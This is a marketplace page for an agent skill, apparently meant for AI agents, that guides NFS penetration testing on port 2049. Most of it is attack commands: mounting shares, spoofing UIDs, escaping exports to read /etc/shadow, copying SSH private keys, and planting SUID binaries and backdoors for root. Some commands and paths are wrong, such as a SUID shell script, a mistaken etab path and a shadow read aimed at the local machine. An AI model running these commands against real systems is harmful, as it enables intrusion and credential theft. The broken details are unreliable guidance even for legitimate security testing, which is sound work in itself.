# Nfs Pentesting

> Pentest NFS (Network File System) services on port 2049. Use this skill whenever the user mentions NFS, network file sharing, port 2049, showmount, nfs exports, or needs to enumerate/mount/exploit NFS shares. This skill helps with NFS enumeration, mounting shares, exploiting misconfigurations like no_root_squash, escaping export directories, and privilege escalation via NFS.

- Skill: `abelrguezr/nfs-pentesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nfs-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nfs-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nfs-pentesting

---


# NFS Pentesting Skill

A comprehensive guide for pentesting NFS (Network File System) services, covering enumeration, exploitation, and privilege escalation techniques.

## When to Use This Skill

Use this skill when:
- You need to enumerate NFS shares on a target
- You want to mount NFS shares for access
- You're investigating NFS misconfigurations
- You need to exploit NFS for privilege escalation
- Port 2049 is open on a target
- The user mentions NFS, showmount, nfs exports, or network file sharing

## Quick Reference

```bash
# Basic enumeration
showmount -e <IP>
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>

# Mount a share
mount -t nfs -o vers=2 <IP>:/share /mnt/local -o nolock

# Check for dangerous configurations
nfs_analyze <IP>
```

## NFS Basics

### What is NFS?

NFS (Network File System) is a client/server protocol that enables users to access files over a network as if they were local. Key characteristics:

- **Default port**: 2049/TCP/UDP
- **Authentication**: Typically relies on UNIX UID/GID identifiers
- **Security concern**: Client-provided user information is trusted by the server
- **Root impersonation**: By default, UID 0 (root) is squashed to prevent root access

### NFS Versions

| Version | Characteristics |
|---------|----------------|
| **NFSv2** | Oldest, UDP-based, no authentication/authorization |
| **NFSv3** | Enhanced error reporting, variable file sizes |
| **NFSv4** | Kerberos support, firewall-friendly, stateful, ACL support |

**Important**: NFSv2 is preferred for pentesting due to lack of authentication requirements.

### Squashing Behavior

| Setting | Effect |
|---------|--------|
| `all_squash` | All users mapped to `nobody` (UID 65534) |
| `root_squash` | Default - only UID 0 squashed to `nobody` |
| `no_root_squash` | Root access preserved - **DANGEROUS** |

## Enumeration

### Step 1: Basic Enumeration with showmount

```bash
# List available exports
showmount -e <IP>

# List all information
showmount <IP>
```

**Example output:**
```
Export list for 10.12.0.150:
/backup 192.168.0.0/24
/home 10.0.0.0/8
```

### Step 2: Nmap Scripts

```bash
# Comprehensive NFS enumeration
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>

# Individual scripts
nmap --script=nfs-ls -p 2049 <IP>           # List exports and permissions
nmap --script=nfs-showmount -p 2049 <IP>    # Like showmount -e
nmap --script=nfs-statfs -p 2049 <IP>       # Disk statistics
```

### Step 3: Advanced Analysis with nfs_analyze

The `nfs_analyze` tool from [hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) provides comprehensive analysis:

```bash
# Install
pip install nfs-security-tooling

# Run analysis
nfs_analyze <IP>
```

This tool checks for:
- Available mounts
- Supported NFS versions
- Connected IPs
- Export escape possibilities
- `no_root_squash` configuration

### Step 4: Metasploit Scanner

```bash
# In msfconsole
use scanner/nfs/nfsmount
set RHOSTS <IP>
run
```

## Mounting NFS Shares

### Basic Mount

```bash
# Create local mount point
mkdir -p /mnt/nfs_target

# Mount the share (prefer NFSv2 for pentesting)
mount -t nfs -o vers=2 <IP>:/remote/path /mnt/nfs_target -o nolock

# Example
mount -t nfs -o vers=2 10.12.0.150:/backup /mnt/nfs_target -o nolock
```

### Mount Options Explained

| Option | Purpose |
|--------|--------|
| `-t nfs` | Specify NFS filesystem type |
| `-o vers=2` | Use NFSv2 (no authentication) |
| `-o nolock` | Disable locking (useful for pentesting) |
| `-o rsize=32768,wsize=32768` | Optimize transfer size |

### Verify Mount

```bash
# Check mounted filesystems
mount | grep nfs

# List NFS mounts
showmount -a <IP>
```

## Exploitation Techniques

### Technique 1: UID/GID Impersonation

NFS trusts client-provided UID/GID values. Exploit this by:

1. **Identify target file ownership**:
   ```bash
   ls -la /mnt/nfs_target/
   # Note the UID of files you want to access
   ```

2. **Create local user with matching UID**:
   ```bash
   # If file is owned by UID 1001
   useradd -u 1001 pentest_user
   su - pentest_user
   ```

3. **Access the files**:
   ```bash
   cd /mnt/nfs_target/
   # Now you can access files owned by UID 1001
   ```

### Technique 2: Using fuse_nfs

The `fuse_nfs` tool automatically sends the correct UID/GID:

```bash
# Install
pip install nfs-security-tooling

# Use fuse_nfs to access files
fuse_nfs <IP>:/export /mnt/local
```

### Technique 3: Export Directory Escape

If `subtree_check` is disabled (default on Linux), you can escape the export directory:

```bash
# If /srv is exported but /var is on same filesystem
cd /mnt/nfs_target/
cd ../../var/log/    # Escape to /var/log

# Read sensitive files
cat /etc/shadow
cat /var/log/auth.log
```

**Why this works**:
- `/etc/shadow` is owned by root:shadow (GID 42 on Debian)
- Only UID 0 is squashed by default
- Group access is not restricted

### Technique 4: no_root_squash Exploitation

If `no_root_squash` is enabled:

```bash
# Mount as root
mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock

# You now have root access to the share
cd /mnt/nfs_target/
# Create SUID binaries, modify files, etc.
```

### Technique 5: Using NFSShell

[NFSShell](https://github.com/NetDirect/nfsshell) simplifies NFS exploitation:

```bash
# Install
git clone https://github.com/NetDirect/nfsshell
cd nfsshell
python3 nfsshell.py

# Usage
nfsshell <IP>:/export
```

Features:
- Easy listing and mounting
- UID/GID manipulation
- File access automation

## Privilege Escalation

### Via no_root_squash

1. **Mount with root access**:
   ```bash
   mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock
   ```

2. **Create SUID binary**:
   ```bash
   cp /bin/bash /mnt/nfs_target/bash_suid
   chmod 4755 /mnt/nfs_target/bash_suid
   ```

3. **Execute from target**:
   ```bash
   # On the NFS server
   /mnt/nfs_target/bash_suid -p
   ```

### Via UID Matching

1. **Find high-privilege files**:
   ```bash
   find /mnt/nfs_target -uid 0 -type f 2>/dev/null
   ```

2. **Match UID locally**:
   ```bash
   useradd -u 0 root_clone  # If no_root_squash
   # Or match specific UID
   useradd -u 1000 target_user
   ```

3. **Access and modify**:
   ```bash
   su - target_user
   # Modify files, create backdoors, etc.
   ```

## Dangerous NFS Settings

| Setting | Risk | Detection |
|---------|------|----------|
| `rw` | Read/write access | Check exports |
| `insecure` | Allows ports >1024 | Check exports |
| `no_root_squash` | Root access preserved | nfs_analyze |
| `no_all_squash` | All UIDs preserved | nfs_analyze |
| `nohide` | Nested FS visible | Check exports |
| `subtree_check` disabled | Export escape possible | nfs_analyze |

## Configuration Files

On the NFS server, check:

```bash
# Main exports configuration
/etc/exports

# NFS state information
/etc/lib/nfs/etab
```

## Common Attack Scenarios

### Scenario 1: Initial Access via NFS

```bash
# 1. Enumerate
showmount -e 10.10.10.180

# 2. Mount
mkdir -p /mnt/nfs
mount -t nfs -o vers=2 10.10.10.180:/home /mnt/nfs -o nolock

# 3. Check file ownership
ls -la /mnt/nfs/

# 4. Match UID if needed
useradd -u 1000 pentest
su - pentest

# 5. Access files
cd /mnt/nfs/
cat .ssh/id_rsa
```

### Scenario 2: Privilege Escalation

```bash
# 1. Check for no_root_squash
nfs_analyze 10.10.10.180

# 2. If enabled, mount as root
mount -t nfs -o vers=2 10.10.10.180:/share /mnt/nfs -o nolock

# 3. Create SUID binary
echo '#!/bin/bash' > /mnt/nfs/shell
chmod 4755 /mnt/nfs/shell

# 4. Trigger from target
# (requires access to target system)
```

### Scenario 3: Export Escape

```bash
# 1. Mount exported directory
mount -t nfs -o vers=2 10.10.10.180:/srv /mnt/nfs -o nolock

# 2. Escape to parent filesystem
cd /mnt/nfs/../../etc/

# 3. Read sensitive files
cat shadow
cat passwd

# 4. Check for writable directories
find /mnt/nfs/../../var -writable 2>/dev/null
```

## Tools Summary

| Tool | Purpose | Installation |
|------|---------|-------------|
| `showmount` | Basic enumeration | `apt install nfs-common` |
| `nmap` scripts | Advanced enumeration | Built-in |
| `nfs_analyze` | Comprehensive analysis | `pip install nfs-security-tooling` |
| `fuse_nfs` | UID/GID manipulation | `pip install nfs-security-tooling` |
| `nfsshell` | Interactive exploitation | `git clone` |
| Metasploit | Automated scanning | Built-in |

## Best Practices

1. **Always try NFSv2 first** - No authentication required
2. **Check for no_root_squash** - Most impactful misconfiguration
3. **Test export escape** - Default on Linux
4. **Match UIDs** - Access files owned by specific users
5. **Use nfs_analyze** - Comprehensive vulnerability detection
6. **Document findings** - Track which techniques worked

## References

- [NFS Security Tooling](https://github.com/hvs-consulting/nfs-security-tooling)
- [NFSShell](https://github.com/NetDirect/nfsshell)
- [NFS Security Article](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/)
- [NFSShell Tutorial](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)